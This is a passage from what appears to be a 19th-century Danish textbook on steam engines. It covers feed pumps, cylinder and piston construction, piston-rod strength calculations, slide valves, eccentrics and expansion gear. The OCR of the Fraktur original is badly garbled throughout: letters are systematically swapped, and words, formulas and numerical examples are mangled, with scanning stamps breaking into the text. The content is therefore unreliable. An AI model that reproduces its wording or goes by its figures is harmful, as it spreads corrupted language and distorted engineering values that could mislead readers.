forn ben i Stlminbetigfjeb brugeø paa $jutbampffibe. ©templet A (ogfaa fatbe* plunger)
er en noiagtig afbreiet SKetatcplinber, ber gjennem tjafbobjtngen B gaaer inb i ben noget
ribere ©tørle. E er ©ugerøret meb [in SJentit F, forn man fan fommel til oeb at
afffrue Saaget G. H er ©tigerørørentiten, inbrettet paa famme SKaabe, I Stigerøret.
SDctte feber SQanbet til ben paa Wjebten anbragte gebefran, gig. 24, ber ooentit bar
en Seutit, forn binbrer Sanbet i at tøbe ub af fijeblen, om ©tigerøret etler gumpen
faaer 8æf, og nebentit enfiran, brormeb lilfltømiungen tit .fjebien regulereø. [Jumpen
giret i 9Uminbeligbeb mere SBanb enb Æjeblen bebøret, og betie gaaer gjennem ben
bctoeøfebe SBentit K og (Røret L, enten orerborb etter titbage til SkrmranbØfaØfen. K
lafteø faalebeø, at ben forjt aabner fig reb et [Jar [Junbø' [tørre Irpf pr. Orabrattomme
enb tDamptrpffet i Sfjeblen.
Ofte gjør man gøbepumpen bobbettrirfenbe ; ben par ba en boret ©tørte , tt berti 1
paøfenbe ©terapef meb tpnbere ©tempelftang, forn gaaer gjennem [JafbøSfing i Jaaget,
og et [Jar JBentiler reb tmer ®nbe. ®et ene SJentilparø ©ugerør pleier at gaae tit
SBunben af ©fibet og ©tigerøret orerborb, brorPeb [Jumpen unber ©templetø SBeocrgetfe
ben ene SBci tjener forn Coenøpumpe, (©fibøpumpe, bilg^e pump); bet anbet SBentitpar
beførget gøbningen, tigeban fom reb ben enfettrirfenbe [Jumpe. Dampjfibømaffinet faae
for bet meftc to gøbepumper, b Bota f (?»er er (tor nof tit at terere ftjebterneø bete 83anb»
fotbrug alene ; betie fan meb titjhoeffetig 3?øiagtigbeb beregneø efter 1 ftubiffob i limen
pr. nominel ^ejtfraft.
Digitized by Google
Sfltttr^f^mflffincné ^oticbbde.
§ 1. 3 Splinberen anrenbeø ©ompenS Sraft tit at frembringe Serægelfe;
brorlebeø bette fleer, et allerebe i bet Scefentlige angiret i bet goregaaenbe; ni ride ber
betragte (Eplinberenø 3nbretning noget mere i ©etaide.
©en inbrenbige ©iameter og ©lagets ficengbe beftemmeø af 27iaf?incné $cftefraft
og Slagenes Slntal. 3 fianbmafTiner er ©laget for bet mefte jterre enb ©iameteren,
ofte inbtil bobbett faa ftort ; i ©emajfiner er bet tigt ©iameteren eder noget minbre,
om SBaffinen ffat gjore mange ©lag br. STOinut. $ror man bat Salget, afpaSfeS
gjerne gorpolbet medem ©iameter og ©lag faalebeé, at ©templets Sei pr. SJtinut
Plirer omtrent 200 gob; i birectenirfenbe ©fruemaffiner bepereS ftorre #afiigpeb, og
©templets Sei pr. Siinut falber i bem gjerne medem 300 og 400 gob. $øitrpfs»
maffinemeS ©templer gaae finn bom enbnu fjtrrtigere.
©obøtpffelfen beftemmeS efter gormelen t = -f- 0",5, bror D er ©iametren
loOU,
i lommer, p ©amptrpffet i pr. Ctrabrattomme, t ©obfet i Sommer, ©tprfen
Plirer paa ben Staabe betpbelig ftorre enb ben, fom netop nilbe bepereS for at mob»
ftaae ©ptangning; men beelS ber en (Eplinber funne taale at boreS ub, naat ben reb
©littage er bleoen ujamn, beels »ilbe ben roere for meget ubfat for Sejfabigelfe reb
©tob, om man gjotbe ben tpnbere. Sunb og Saag gjøres gjerne noget tpffere enb
Splinberen; be ber beSuben, naar be ere flabe, forftoerfeS meb ffiibber, for at be iffe
ffude fjebre ftg ub og inb.
§ 2. gig. 26 eifer ®jennemfnittet af en faflfiaaentc Splinber, inbrettet til
fflortflibe. A er Sunben, ber ofte ubgjor en ©eel affPtaffinenS Sunbplabe ; B Saaget,
foefiet til Splinberen meb ©fruer af s /j al" ©iameter, 4 a 6" fra pinanben. gor
at potbe toet laeggeS en Sting af ©eilbug eder ©ug af fiin Jfobbertraab, oeerfmuurt
meb SDtenjefit, imedem glangerne. Ofte jiøbeS ogfaa Sunben i eet meb Splinberen,
men par ba en minbre Slabning, for Soerftangen unber tlbboringen, fom luffeS meb
en faflffruet eder fafiflinfet Slabe. Sun ganffe fmaae (Eplinbere funne boreS meb for=
neben Støiagtigpeb uben en faaban Slabning. Sil Baaget et fajtftobt SafboSfingen C,
ber nebentit er foeret meb Stetal og ber pare Stetalglanb, for at forminbffe grictionen
mob ben fmebbebe ©tempelftang. ©fal Splinberen ligge porijontal, faa gjor man Saf*
beSftngen (ængere og anbringer paa SKibten af Safningen en Sting, fom E., gig. 47,
forfpnet meb £eb for Oljen; ©merefoppen anbringes ba lige orer 8øbet i Stingen.
Oøfciflerenbe Splinbre, fom gig. 28, a, faae en poi og meget fictrf SafbøSfing, forbi
©tempeljiangenS Sirfning til at breie Splinberen om Soppeme, bet pare betpbelig
griction, frembringet et ftoerft ©ibetrpf paa SafbøSpngen.
$aa Saaget af Splinberen, eder om benne er porijontal, paa ©iben, anbringes
en ©merefran L, gig. 26, rifer en af be mange pertil brugelige 3nbretninger;
Soppen tjener fontJOplagSfleb for benTfmeltebe Salg; naar ■fmanbtagct breieS, faa lofteS
Digilized by Google
26
lorrenS (fait, ber nr formet fora en conifT Sentil, teb f>jal» af ben inbffaome ©fange.
©moringen fan blot foregaae mebenS bet er Sacura i ben Deel af Golinberen, brortil
Slabningen i ©morefoppen leber, og ftranen raaa betfor tette inbrettet ril at aabneS og
luffeS burrigt. Orerft og neberft anbringes minbre Uta ner, btorigjennem bet $anb
fan tappes ub, fora famler fig i Gplinberen teb DampcnS gorteetning, naar SJRajfinen
flaaer. DeSuben raaa, naar iffe ©liben er inbrettet ril at gite bette 2?anb OTob, begge
©nber af (fpltnberen rare forfpnebe meb conifle Sentiler (Sifferbebarentiler), fom
luffebe meb gjebre af noget fiorre Storfe enb Damptrfiffet raa Senrilfiaben. 9laar
man bar to fiRaffiner »aa fantme Sljel fan nemlig Sraften af ben ene forame ril at
ubore et meget fiarft Ir» f raa Sanbet i ben anbcnS Gplinber, og ba bette iffe laber fig
famraentroffe, til bet, om bet iffe fan flippe ub, fpronge Golinberen. DiSfe Sentiler maae
pare oragitne af fiopfler, fora binbre bet fogbebe SBanb i at fproite omfring i Majfinruramet.
§ 3. ©templet E ftobeS buult for at blite lettere, og fafieS ril ©tempelfiangen
D teb £jalp af STOottriffen F, fom binbreS i at leSnc teb Satffrueti G. Ofte brugeS
ifiebetfor røottrtf , ' ber fr ærer en Ubfiobning i SBunbcn, en Sile, fora gaaer igjennem
©templets 93oS (Genterftfiffe) og ©iempelftangenS conifle (snbe paa ben i gig. 37 tifie
fillaabe. ©templet raaa ba bate loft £aag, fom fafieS meb ©fruer, ©templets Dias
meter gjereS fun faa meget minbre enb GplinberenS, at bet iffe fibbet faft, naar bet teb
at optarmeS af Dampen tiber fig ub ; bets £>oibe paa SRibten er omtrent V* af Dia*
metren ; foroorigt inbretteS ^oiben efter fikfningen. H, H, H ere tre fiBafningSfjebre
flf 3«rn, ber fisbeS frele og afbreieS ril libt fierre Diameter enb Gplinberen, btorefter
ber ubjfjoereS faa fiort Stpffe af bem, at be netop funne flemraeS fammen ril Gplins
berenS Diameter. De fjebre fig ba ubab og aabne fig libt mere, naar be blite flibte.
Unbertiben btugeS to faabanne SRinge ifiebetfor tre; unbertiben brugeS fun een brebere
ffling, bois (fnbtr ba gribe i binanben, faalebeS fom tiifi teb K; ben er imibletrib
paa ©runb af fin ©tirfieb tanffelig at fiaanbtere. Den oelbre ©amppafning er ttifi teb
J; ©tempel og £aag banne ©fraaplaner, fom preSfe fiBafningen mob Gfilinberen, naar
©fruerne S troeffeS til. Den giter fierre grietion enb Ssrnbafning og taret tort.
Unbertiben anbringes en frantppafning bag en ftagere breb fiiafmngSfjeber af Jern, i
ben #enfigt at labe #ampenS Glafticitet tjene ifiebetfor gjeberfraften ; men ba fbampen
fnatt bliter baarb i SBarmen, er 3nbretningen iffe fienfigtSmaSfig. 2Range forfffellige
©lagS SSetalpafninger bate taret forfegte, men ffibtil bar ingen af bem tiifi fig faa
benfigtSmoSfig fom fiiafningSfjebre af fiebt 3em.
§ 4. ©tempelfiangen gjoreS i Sllminbeligfieb af fmebbet 3 e r n > unbertiben ogfaa
af ©taal. Den fabtanlige ffiegel for benS Diameter, at ben ffal tare */io af Gplin=
berenS, forubfatter, at £angben iffe er meget fiorre enb GolinberenS Diameter, og Xrpffet
paa ©templet (SBacum iberegnet) omtrent 20 H> pr. Citabrattomme. gor aitbre gorfiolbe
befiemmeS faabanne ©tangerS Diameter teb |>jælp af gormelen for ©torfe mob Slffnaf*
d 4
ning, P — k -pp- !> tor P er ©tprfen i fiSunb, d Diameteren og 1 fiangben i lommer,
* /
famt k en af SKaterialieiS Seffaffenfieb afbangig ©torrelfe, fom for ©mebbejern
fan anfatteS til 3,000,000, for ©tobejem ril 1,700,000 og for SWetal til
1,400,000. gemtebelen af P anfeeS fom ben fterfie SBelafining, ber meb ©ifferbeb
fan antenbeS; til be tigrigere Dele i Dampmaffinet pnaregneS i Sllminbeligbeb fun
lienbebelen. Om faalebeS en GplitiberS Diameter er D lommer, Damptrfiffet 20
S" pt. Opabrattomme og 1 lig I*/» D , faa faaeS efter gormelen, meb tibobbelt
sogle
zed b\
27
©tprfe,
20 .
10 = 3,000,000.
d 4
2.25 D*,
ptoraf
d 4
D 4
2,25X^OOX nr
12,000,000
og = 0, 118, attfaa litt oter Vio. Sirfer blot en træffcnbe men ingen ffpbenbe
Jfraft raa ©tangen, faa fan diameteren beregnes af MaterialictS abfolute ©tprfe, ber
for ©mebbeient fan anfætteS til 10,000, for ©tobejern og Metal til 6000 B br.
Dtabrattomme ; berteb faaeS omtrent fembobbelt ©tprfe ; forlanges tibobbelt, faa blite
Såilene refpectite 5000 og 3000. den ompanblebe ©tempclflang tilbe altfaa taere ti
2 j
©ange faa flcerf fom ben troeffenbe Jfraft , naat 20= ~£~' ^00® eller p =
V m = 0,063. Ofte mebfører MaffincnS (ionftruetion SBrugen af to, jlunbom af fire
©temtelftamger, fom ba liter faae bet |»alte eder gjerbebelcn af ©tprfen.
§ 5. damteanalerite 0 O og SlflobScanalen N ere anbragte i Ubjlebningcr
baa Gplinberen. Jiaa ben blant og glat afrettebe deel T T af Ubftobningen tanbrer
©liben, og ben falbeS betfor ©libeplanet; i bette finbeS Sfabningerne af damp» og
SlftøbScanaleme , fom benætneS Sorte — be forfte dampportene, ben fibfle SlflebSs eller
ffiaeumporten. Slrealet af pter af dampportene er i Sllminbeligpeb Vas, af Sacum--
porten s /m af GplinberftempletS; man gjer bisfe Sotte faa brebe, fom man beftemt fan
faae anbragt bem, ptorteb #oiben og ben beraf afpængige ©libebetoegelfe blite faa fmaae
fom mnligt, og, ialtfalb inben tiSfe ©rænbfer, ©liben felt minbre. Slrealet af damp»
porten befiemmer ben $aftigpeb, ptormeb dampen maa ftremme igjennem for at ubfplbe
Simumet bag ©templet, efterpaanben fom bette ffriber frem; til at frembringe benne
øajligpeb forbreS en tiS Otertoegt af damptrpffct ubenfot Slabningen oter damptrpffet
i Gplinberen , antenbeS altfaa en tiS deel af dainpenS 5traft. denne fan faalebeS
beregnes: SSaar ©templets 33ci pr. Miitut er 300 gob, faa bliter bets jlorfk ^ajiigpeb,
paa paltt ©lag , lig ^ = 7, 85 gob pr. ©ecunb ; er tibere SlabningenS Slreal
Vs» af ©plinberenS og GontractionScoeffiefenten 0,6, faa bliter dampens #afligpeb
7,85 X 25 X = 327 gob pr. ©ecunb og ben tilftarenbe SreSpcibe 1711 gob.
©aa poi en Golonne af damp af 15 B't Srpf (meb 1 □ lomme ©runbfiabe) teier
0,85 B , og faa flor er ben jlorfie Otertoegt af bet pbre Irpf, fom ubforbreS for
Snbjlrtmningen. SKibbeltærbien er imiblertib minbre, omtrent 0,2 B, og tar ber intet
anbet at tage $enfpn paa, faa funbe Sortene tære minbre. Man pleier, fom ftben
nærmere ffal tifeS, peller iffe at labe dampportene aabne ftg peelt for dampens 3nbgang.
Men, teb dampens Ubjhromning til gortætteren gjælber bet om at faae ben ub af Gp»
linberen faa purtigt fom muligt, og ba tilbe fmaae Sorte foraarfage et betpbeligt ftrafttab.
S«a ben anben ©ibe maa erinbreS, at ftore Sorte mebforc en flor ©libe meb tilftarenbe
flor griction; bisfe to mobfatte >$enfpn fpIbeftgiøreS faatibt ffee fan meb ben anforte,
af Grfaring ublebebe ©torrelfe af Sortene, ialfalb for Maffiner met ben fæbtanlige
$aftigpeb. Meget purtiggaaenbe Maffiner tife berimob et foreget Mobtrpf af 3 til 4
B pr. Ctabrattorame paa Sacumftben af ©templet, altfaa et betpbeligt Rrafttab, fom
ibetminbfte for en deel par fin ffirunb i be btugelige SlflobScanaletS ©neterpeb.
§ 6. ©plinbere, fom ffuHe ftaac edet ligge fad, faae altib en eder flere tflflobte
dele, ptorigfennem be fajlffrueS til Unberlaget og SKamtærfct. de osfeillerenbe Maffiner
Digitized by Google
28
berimob fjase Kptinbre raeb tjute Jabber, af tøoitte ben ene mobtager Dampen, ben
anben ftipper ben ub igjen; gig. 27 er et ©nit gjennent lappeme og lobret paa Stren
af en faaban Splinber. C C er SnbgangStappen , forbunben tit Génbcn af Damproret
J meb en ftjafning; fra C C gaaer Dampen gjennem Sanateme D D tit ©tibeffabene
H H, tjooraf man for SigeooegtenS ®ft)lb anbringer et paa boer ©ibe; bar man fun
eet, brugcS en fcrrjfilt SWoboaegt. ©tibeblaner og 'fjorte ete forn i gig. 26, men fun
(jatot faa jtore, naar bet er to ©tiber. Den brugte Damp gaaer gjennem Slibetneé
fuling og Sanaterne E E tit UbgangStappen FF, fom gjennem Sterct K jtaaer i
gorbinbetfe meb gortoetteren. B B er Jabteieme; foroprigt fiar ben oSfcitlerenbe Kptinber
famme Dlbefjot af StftapningSfraner m. m., fom ben faftjtaaenbe.
gorffjeDige anbre Konftructioner af Kplinbere ere i fflrug ; be sigtigfle af bent ere
beffreone btanbt tKafTinconftruttionerne i ncefte Kapitel. gortjen brugte man at forfpne
Kplinbeme meb en faafatbet Droie, en tilftobt Kanal af bettjbelig Srebbe, bBorigjcnnem
Damben forft maatte paSfere, for ben jlap inb tit ©tiben; beroeb fjotbeS rigtignof
linberenS 3nbre oarmt, men bau Dampens Sefoftning, bsorneb 3ntet er ounbet. Derimob
ber Kplinberen , naar benS ©titting og Cmftcenbigfjtbernc foreorigt tittabe bet, sære
beffæbt meb en flet Sarmeteber, for at Skrmetabet »eb Ubftraating ffal blipe faa libet
fom muligt.
§ 7. lit at ftibbe Damben inb i Gptinberen og ub igjen efter at ben bar
ubeoet ftn Sitfning, brugeS for bet mefte ©tibesentiter, ber fore 9?aon af ©tiber, og
betcegeS af eicentrijfe ©fiper paa SlfaffinenS ^opebaret. SDteget tangfomt gaaenbe ©ias
jfiner bruge bog ogfaa unbertiben eoniffe Sentiter etter Dobbettfoebepentiter, fom aabneS
og tuffeS oeb fjjcetp af SScrgtftaenger , bet igjen beocegeS af ubftaaenbe Strme paa laps
bommen.
Den forte ©tibe, bois Snbretning et oiijt i gig. 28, *pt. 2, brugeS meeft-
Den er af SWetal, tjriS ©tibeptanet paa Kplinberen er af 3em, etlet af 3ern, naat
bette er paafat af SWetal. 3ernjlibe paa 3ernptan brugeS, men gioet jtorre griction.
gjoefene A A ere noget ftorre enb Dampportene, bejto mere jo jtorre Kjpanjion ber ffat
benptteS; Rutingen H gjereé faa fcpb, at ben brugte Damp fjar tigefaa jtort Stum oeb
ftkSfagen gjennem ben fom gjennem portene. B er ©tibeftangen, ber gaaer gjennem
en jJSafboSftng C paa ©tibejTabetS ene 33ceg etter 8aag, og bar ©tpring for ben anben
Knbe peb E. fjaa ©tibeftangen er faftgjort Strrnen F (unbertiben gaffetformet) ber
paSfer i en #plfe paa Stpggen af ©tiben, men et noget fortere enb benne er bpb ;
beroeb btioer ©tiben iflanb tit at beoaege fig (ibt fra ©tibeptanet, naar ber er Sanb i
Kptinberen, fom foger at flippe ub mebenS gjeefene bolbe portene luffebe. <5n ©pirat*
fjeber, anbragt metlem F og Sunben af $ptfen, ljotber ©tiben til ©tibeptanet, naar
ber intet Irtjf er paa ben. 3ftebetfor benne gorening metlem ©tibe og ©tang brugeS
paa minbre ©tiber ofte et T formet ©tpffe, (Truet paa Knben af ©tibeftangen og
inbpaSfet i en titfparenbe Ubffjcering i en lilftobning paa ©tiben, meb ©pitlerum fot
benneS Seoægetfe ubab fra ©tibeptanet. £>ror faaban ©eoergeffe af anbre ®runbe iffe
ter fiitbe Steb, ffrueS ©tangen ligefrem tit ©tiben. ftka ftorre SJiafTiner ere gjeme
©tibe og t|3orte afbeette efter fflrebben oeb en etter to Stibber i ligeftore Dete.
§ 8. ©tiben beeaegeS af ben eycentriffe ©fioe — fircenrriffen , ber enten et
faft paa Slpeten A, gig. 29, meb en ftrpbépinb B, etter ogfaa beooegetig et oift ©tftffe
omfring benne, i tjoitfet Jitfcetbe ber paa Siret og ©fioe er anbragt ubftaaenbe Dele,
fom begratnbfe SSenagetfen. lit ©fioen er ba ogfaa faftgjort en fRobpægt (e gig. 53)
Digitized by Google
29
for at ten iffe ffal beooege fig om Sljelen af ftg fei», gor Jaafcetningen* ©fylt er
©fioen ofte ftøbt i to Dele, ber !;olbe* fammen meb ©fruer. D er ©rcenterringen,
af ©mebbejem eller SWetal , ffruef fammen »eb $joelp af SSterne E E og forfinet meb
©møreljul og Åop bet, b»or bet efter Stillingen falbet befoemmejl. F er ©pcenter*
fangen, fmebbet i eet meb eller ffruet til ben ene fialobeel af M ingen, og meb ben anben
ffinbe forenet meb ©libefiangen, enten birecte eller »eb meUemtommenbe S?cegt(tcenger etler
anbte Dele. ©oeboanlig er gorbinbelfen faa inbrettet, at ben meb Cetfjcb tan ublofe*,
naat SJlaffinen (Tal flanbfe*; i giguren er ben oftejl brugte gorbinbelfc«maabe ant») bet
»eb G, b»or ber er et 4>af, fom griber o»er SEappen i ©nben af SSinfeloagtftangen.
§ 9. Den ejeentriffe ©fioe* ©irtning til at beocege ©liben er netop ben
famme, fom om ©fioen* ©enter »ar forbunben meb ©libefiangen »eb en ret fiinie.
©fal ©liben aabne Dampportene ibet ©templet er »eb Segpnbelfen af ©laget, og ^olbe
bera aabne unber f>cle ©laget, faa ftille* ©rcenterjfioeu faalebe* paa Stjelen, at ©entret
A (gig. 32) er netop 90 o foran Krumtappen K ; ©jcentriciteten A C gjoreé lig
Jorten* fbcibe, og ©libeflaget bliper netop bet bobbelte af benne •fiøibe. F oil ba
aabne P for Dampen og G »il aabne Q for Slftobet til gorfeetteren, ibet ©templet
begpnber at gaae neb ; naar ©templet er fialooeis nebe, oille P og Q ooere fjeelt aabne,
og naar ©templet er nebe, oille be igjen ooere luffebe, ibet ©liben ba netop $ar famme
©tining for opgaacnbe fom i giguren for nebgaaenbe ©lag, og ubfører Qlabning og
Sufning paa famme Jlaabe. ©aalebe* conflrueret gioer ©libebeooegelfen ingen ©rpanfion,
men ber forlange* i Slminbeligbeb, at en Deel af ©laget ftal foregaae meb ©rpanfion,
eller at 3nbgangen for Dampen jtal luffe* for ©tempelflaget er fulbenbt. røaffinen
fige* at gaae meb l U, V 3 , V n ©rpanfion, naar Dampen faalebe* er afffaaren unber ben
fibfie V«, V 3 , V n af ©laget ; Slfjfjoeringen fremfommer oeb at man gioer ©rcenterffioen*
©enter et ftorre gorfprang for Krumtappen enb 90° og gjor ©libefjeefet laengere i
Seocegelfen* Setning, faalebe* fom oiifi i gig. 30. lil V D ©rpanfion ffal gorfpranget
ooere faa jiort , at ©oftnu* til A C B = |/ V„ , altfaa for V«, V 3 , '/a ©rpanfion
KCA = 120 °, 125°16' og 135°. Saar < DCB = ACB , faa blioer BE bet
©tpffe af 'F orten, fom ©liben aabner for Dampen* Jnbgang; bettc er, fom tibligere
anført, noget minbre enb bclc Jortbøibcn, for bet mcjle 0,7 a 0,8 af benne. Setegne*
bette ©tpffe meb a og ©pcentriciteten eller bet Ijaloe ©libeflag meb e, faa et a = e
(1 — ©of. ACB) = e (1 — V^V n ) tøooroeb fiamgben af ©libeflaget bejiemme*. lil
a = 3 U Jortljøibe og ©rpanfionen =• V« blioer t. ©j. e = 3 U Jortbeibe: Vs — l‘/a
Jortljøibe og ©libeflaget 3 ©ange Jorttjøiben.
Jilbe man, efter at ©rpanfionen er begpnbt ibet ©reentrifeentret fom til D,
bolbe Dampen inbe tit ©laget oar fulbenbt, faa maatte jorten ooere luffet meben*
©entret gif fra D til F, ©libefjoefet altfaa forloenge* ©tpffet E G nebab. golgen
betaf oilbe imiblertib ooere, at 'Jorten iffe fjolbte* aaben for Dampen* Ubgang mere
enb meben* ©reentrifeentret gif fra F til H, og ben foage Damp paa Sacumnben af
©templet oar ba inbeftcengt og fammcntrpffebc* unber Seilen af ©laget, meben* Krum--
tappen gjennemlob en SBinfel lig HCA. gor V 4 ©rpanfion oilbe benne Dccl af ©laget
ooere V 4 , for V 3 ©rpanfion V 3 , 0 . f. ». , og bet i Jegpnbelfcn foage Slobtrpf oilbe
unber ©ammentrljfningen oore til en betpbelig ©torrelfe. SKait er berfor nobt til,
naar ©rpanfionen ffal frembringe* oeb gorlcengelfe af ©libefjoefet (lap), at flippe Dampen
ub til gortatteren noget for ©laget er fulbenbt. ©oeboanlig gjør man gorlctngelfen
30
lig «Het noget fterre enb £alobelen af EG; meb netop £a(obelen og V« (Irpanfion
iabeø ba Dtp ff et paa Dampftben og ffltobtrpf frembringeø unber be ftbfte 30 0 af Se*
oagelfen, ber foarer ti( Vis af ©laget; Snbflpbelfen af bette Jab er paa (Srunb af
ftrumtappenø ©tifling uoafentlig. SDteb '/a Sfpanfton ftiger Jabet til norr Vio, meb
Va SrPanfion til oel l h ; bet forminbjfeø noget Deb at man luffer tibligere paa Saeum*
ftben og flippet ub fenere paa Dampftben, men beøuagtet fan ftort mere enb Vs Srpanfion
iffe benfigtømaøftgen frembringeø peb gortøngetfe af ©libefjafet eder i bet $e(c taget
meb fun em ©libe.
aSellemrummene M medern portene gjereø gjerne faa brebe, at Sarumporten et
palot aaben eder libt mere, naar ©liben er bieelt oppe eder tjeelt nebe ; beroeb befiemmeø
tidige Sangben af ©libenø fuling. @r t. ®r. Sorlfjoiben ab = p, (sfpanjionen Va
og iabet fotbeleø lige paa Ubflipning og 3nbfiangning, famt jlorjie IJJortaabning EB
= 3 /a p, faa blioer ©libcflaget 3 p, ©litefjafetø gorlangelfe bd = EC = 3 /a p,
Slfjtanben fra b til Kanten d, naar ben er laoeft, lig l*/a p, og ba Sacumporten =
2 p, blioer Sledemrummet b c = i h — V 2 p, c d = Va p, d i = 2*/a p ; men i m
(Tal oaere lig EC = 3 /a p, altfaa pele fioengben af fulingen 3 p.
Den faalcbeø conftruerebe ©libeø Seoagelfe foranbreø Deb SKaffinenø ©ammen,
faetning libt, berocb at man forpger Sjcentriffenø gorfprang for Krumtappen 1 meb ben
faafalbtc 2eab ; benne goranbring beoirfer, at Dampen flippet inb libt for ©templet ffal
ffifte SBeoaegelfe, og ben fulbe Sirfning af faaoel Damptrpf forn ffiaeum inbtraber
tibligere, boilfet Gcrfaring bar oiifl at oare forbeelagtigt; faboanlig gjoreø fieaben faa
ftor, at Dampporten er Vs å Va lomme aaben, ibet ©templet oenber. 3 birecte=
pirfeitbe Sdtajfiner meb oertical Splinber inbretteø ofte ©libebeoægelfen faalebeø, at
panfionen er libt minbre nebentil enb oocntil; beroeb moboirfeø 3nbfltøbelfen af ©templctø
og be bermeb forbunbne SKaffinbeleø Sagt paa Seonbeben af Staffinenø ®ang. Seb
ben SWaabe, boorpaa Sjcentriffen er forbunben meb ©liben, fan benncø Seoægelfe ogfaa
libe nogen goranbring ; bog foger man i Sllminbeligbcb faaoibt muligt at unbgaae 3nb*
flpbelfe beraf.
§ 10. ©fal mere enb V 3 (rjpanfion anoenbeø, faa maa ben, af foran anforte
®runb, tiloeiebringeø oeb $jalp af en forjfilt 3»bretning. Den ftmplefle llboei er at
anbringe en farffilt fpjelbformig ©trubeocntil og en eder flere Kantme paa Sljelen, forn
oeb $jalp af Sagtftanger beoage Sentilenø $aanbtag og luffe ben oeb beflemte Dele
af ©laget; naturligoiiø fan man iffe ba b«oe fadeø Dampror for to Staffiner, fjBilfet
ederø ofte brugeø. Da en faaban Sentil oanjfelig fan anbringeø faalebeø, at ber iffe blioer
et temmelig ftort gorraab af Damp medern Sentilen og ©liben, og fpjelbformige Sen»
tiler for bet mefte tøffe temmelig meget, glibenbe berimob l;aoc for flor griction til at
funne beoageø floboiiØ af en Kam, faa et Sirfniitgen af benne 3»bretning for bet mefte
langt minbre, enb benø Sonfiruction ffulbe mebfore.
§ 11. ©fal aWajfinen fiabig eder for tøngere libørum gaae meb (sspanfion,
ftorre enb een ©libe fan gioe, faa inbretter man en farffilt Sjpanftonøflibc. gig. 31
Difer en faaban. A er ben faboanlige ©libe (Dantpfliben) conftrueret paa faboanlig
SWaabe til V« Grpanfion ; benneø ©fab mobtager iffe Dampen birecte, faalebeø fom i
gig. 28, men fjar paa SHpggen et ©libeplan D, D meb Slabninger af Dampportenø
Slreal, faboanlig to eder tre, for at $øiben og meb ben ©laget af GétpanjtonØjliben B
fan blioe minbre. giguren bar to Slabningcr og Sipanftonøfliben beelt i to tilfoarenbe
Dele. D og D' foreftide be to Sirfler, fom Senterne E og F af be to Sfcenterflioer
ed by Google
31
bejfrioe ; K « Krumtappen, C KDE fom foran oiifi 120 °. ®jore« < KD'F = 30 °,
faa oil ®rpanjton*fliben aabne be t)bre Sporte, naar Sentret af ben* gjcentrit er oeb J,
altfaa 30 0 for Krumtappen bar naaet jtn boiefte ©tiDing, men be inbre Jorte ere ba
lutfebe. Seoægelfen fra J til L aabner be pbre SJ3orte fieelt og mibt unber benne
Jeoægelfe aabner A be inbre, (lipper altfaa ©amp inb i Splinberen. Seoagelfen
fra L til F luffer be pbre Jorte igjen, og (rrpanfionen bcgtmber oeb ftalut ©lag,
uagtet be inbre Sporte frembelc* ere aabne, og Slflob til gortætteren ftnber ©teb.
Unber Seoagelfen fira F til G tjolbeS be pbre 'Jorte luffebe af gjafene B, B,
boorefter bet famme gjentage* for opgaaenbe ©lag af ©templet. 27fctrfc« maa, at om
Stajfinen ffal gaae mobfat Sei, faa maa ben inbbprbe* ©tilling af be to Sreenterffioer
foranbre*; 6fpanjton*fIiben oilbe nemlig ba ffjoere af unber ben forjte ^alobeel af
©laget ijtebetfor unber ben ftbjie. ©a 3«bretning til at beoage begge green ier ff mer
paa Sljelcn eller paa anben QJtaabe ffiftc ©liberne* Sirfning oilbe blioe eompliceret,
bruger man for bet mefie unber Safning at fatte @{panfton*fliben ub af Sirffombeb,
og gaae meb ben Sjpanfton, fom ©ampfliben allene frembringer. ©et famme fan
naturligeii* ffee, naar man af anbre ®runbe iffe oil benptte ben fiorre @{panfton«grab.
§ 12. So ©liber, fom be i forrige § beffreone, funne conjtruere* til anbre
gjpanftonSgraber enb netop V» og 7a, men, engang befiemt, fan gjpanftonen iffe
foranbre*. ©ette er berimob Silfalbet meb ©libeparret i gig. 32, Ijooraf ben ene,
<Sjpanfton*fliben, gaaer paa SRpggeit af ben anben, begge i eet ©libejfab. ©ampfliben
er conjlrueret til Sul (fjpanfion og bar ubenfor be egentlige ©libefja* F og G Slabninger
af Jortene* Srebbe og £>oibe, famt berubenfor igjen Jlaner, boorimob (srpanfton*|liben*
gja* funne flutte. gjeentrifeentret B for @rpanfton*(liben er 180 0 fra Krumtappen
K; unber bet forfte baloe ©lag (V« Ombreining) gaaer ©ampfliben 1 Jortljoibe
nebab, ®rpanfton*fliben ligefaameget opab, luffer altfaa H og begpnber grpanjtonen
ooentil; unber naftc baloe ©lag gaae begge ©liber en Jortfioibe opab ((ijpanftonOflibeit
bog i Segpnbelfen fortere enb ©ampjliben, faa at ben* gja* maa oaere naflen baloanben
Jortl;øibe langt) og grpaitfion*jliben* nebre ©eel oil ba bare famme ©tiDing mob be
nebre Jorte fom ben oore ©eel baobe mob be oore Jorte, ibet K oar i Sop, altfaa
frembringe f>alo (Srpanfton unber opgaaenbe ©lag af ©templet. ®e to Dele af grpan;
fionSfliben funne oeb $jalp af be ©fruegjoenger paa ©libeftangen, fom Imlbe bem fammen,
beoage* til og fira binanben blot oeb dreining af ©tangen ; i forfte Silfalbe forminbffe*
gjpanfionen, i ftbjie forøge* ben. ©et er imiblertib iffe let at faae to faabanne beoa*
gelige SBietalsStpffer til at flutte bamptat unber aDe berc* inbbprbc* ©tiDinger.
5 13. ©en foran beffreone Kortjlibe b«, naar Jtaffinen er i Sang, ©araptrpf
paa ben ene ©ibe og Sacurn paa ben anben, pre*fe« altfaa mob ©libeplanet paa
Splinberen meb en betpbelig Kraft, (in ©eel af benne fan man tage bort paa ben i
gig. 33 oijie SDtaabe. ©liben* fuling inbebolbe* for jlorjie ©elen i en cplinbrift
Ka*fe E E, afbreiet paa Ubfiben og meb et •Jiul D i (Wibten af Sutiben ; ubenom E E
oanbre to (Ringe A A og B B, meb en Sibffclabertring O 0 iineUera for at gjore tat
mob EE. C C er (Rpggen af ©libeffabet, glat og plant afrettet, og mob benne
gliber (Ringen B B, trpffet af ©piralfjebre, fom ere anbragte mcDem ©liben og ©rerne
paa A A. ©a (Rummct inbeni B B eommunicerer meb ©liben* fuling, faa blioer
bet lufttomt, og feele Strealet inbenfor B B beoirfer intet Srtjf mob ©libeplanet. ©enne
Snbretning forer Saon af l*igeoægt*jlibe (Eqvilibriumslide) og anoenbe* meeft paa
:ed by Google
32
oSfciQetmbf Maffiner ; benS ooefeniligpe Mangel nr, at Boef metlem BB og CC føret
©ampen bireete fra Kjeblen iteb i gortatteren.
§ 14. ©en lange Slibe etler D Sliben et oiip i gig. 34. gplinberen er
